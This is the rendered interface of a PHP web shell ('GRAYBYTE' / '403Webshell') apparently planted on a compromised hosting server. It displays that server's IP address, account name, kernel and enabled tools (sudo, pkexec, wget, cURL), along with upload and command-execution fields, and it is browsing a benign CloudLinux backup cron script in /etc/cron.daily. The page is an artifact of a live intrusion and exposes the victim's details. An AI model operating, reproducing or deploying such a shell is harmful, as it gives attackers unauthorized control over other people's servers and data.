- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.117.8.84
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/cron.daily/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/cron.daily/cloudlinux-backup-utils
#!/bin/bash

LOG_FILE=${1:-/var/log/cloudlinux-backup-utils-cron.log}

log() {
    echo "$(date -u): ${*}" >>"${LOG_FILE}"
}

refresh_token_if_present() {
    backend=${1}
    token_file=/var/restore_infected/${backend}_api_token.json

    if [ -f "${token_file}" ]; then
        log "${backend}: refreshing auth token"
        out=$(/usr/bin/restore_infected "${backend}" extra refresh_token 2>&1)
        exit_code=$?
        if [ "${exit_code}" != "0" ]; then
            log "${out}"
            log "Token refresh failed"

            echo "${out}"
            echo "Token refresh failed"
            return 1
        fi
        log "Auth token refreshed"
    else
        log "${backend}: not initialized, skipping..."
    fi
}

refresh_token_if_present acronis
refresh_token_if_present r1soft


Youez - 2016 - github.com/yon3zu
LinuXploit